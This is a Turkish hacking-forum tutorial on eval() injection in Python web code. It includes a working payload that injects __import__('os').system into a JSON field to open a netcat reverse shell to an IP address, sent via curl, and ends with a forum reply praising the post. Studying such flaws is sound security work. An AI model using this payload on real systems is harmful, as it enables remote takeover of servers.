Python Fonksiyon Açıkları #1 |R

Katılım
13 Nis 2019
Tepki puanı
175
Rating - 0%
Python çok sevdiğim mükemmel bir dildir fakat eğer işinizi bilmiyorsanız yazdığınız kodlarda belli açıklar ortaya çıkartabilirsiniz geçelim anlatımımıza
View hidden content is available for registered users!

Eval() Function ;

Geçenlerde yine bir sistemde rastladım , pythonu web üzerine taşıyıp belli başla işlemler koymuşlar fakat bir açık ortaya çıktığından dolayı filtreleme özelliği koymak istemişler ve burdada eval fonksiyonunu kullanmışlar
önce eval fonksiyonu nedir ona değinelim ;


eval bizim dinamik bir kod yürütmemizi sağlıyacak bir fonksiyondur
üstte toplama işlemi için yapcağımız def olduğunu varsayın genellikle yeni başlıyanlar hesap makinesi fln yaparken kullanıyorlar
inputa girilen değerler anında toplancaktır ve print ile yazılcaktır fakat eval da böyle değildir eval bu değerleri içinde tutar ve siz print demediğiniz sürece toplamaz ve yazdırmaz gibi düşünebilirsiniz

Kod:
while(True):
 
s = raw_input("toplancak değer girin:")

tamam güzel hoş fakat bir sorun var eval.py yi incelediğinizde inputa girdiğiniz herşeyi yürütüyor

zafiyetin bulunduğu kodu inceliyelim daha iyi anlıcaksınız
eval3.png

if eval() fonksiyonunu gördüğünüzü umuyorum güzel düşünülmüş güzel filtrelenmiş fakat
bunu gördüğümde şu şekilde bir kod kodluyarak kolayca zafiyeti kullanabildim

ezgif.com-gif-maker (1).png

Kod:
brew_dict['abv'] = "__import__('os').system('rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 10.10.14.161 1443 1>/tmp/backpipe')"

hatırlarsınız ki yukarıda eval fonksiyonu ille request.json['abv'] tanımlanmıştı ....

Peki terminal üzerinden nasıl yaparız Tabiki can dostumuz curl >>

ezgif.com-gif-maker (3).png

görebilceğiniz gibi yine aynı şey "abv": '__import__' diye komutumu girmişim .....

canım sıkıldıkca bir şeyler anlatayım bari

 
Son düzenleme:
A

Anarchosa

En iyi ancak bu şekilde anlatılabilirdi rolesa.. Ellerin dert görmesin. Kesinlikle devamı gelsin. Sabite aldım.
 
131,605Konular
3,269,638Mesajlar
315,556Kullanıcılar
Üst Alt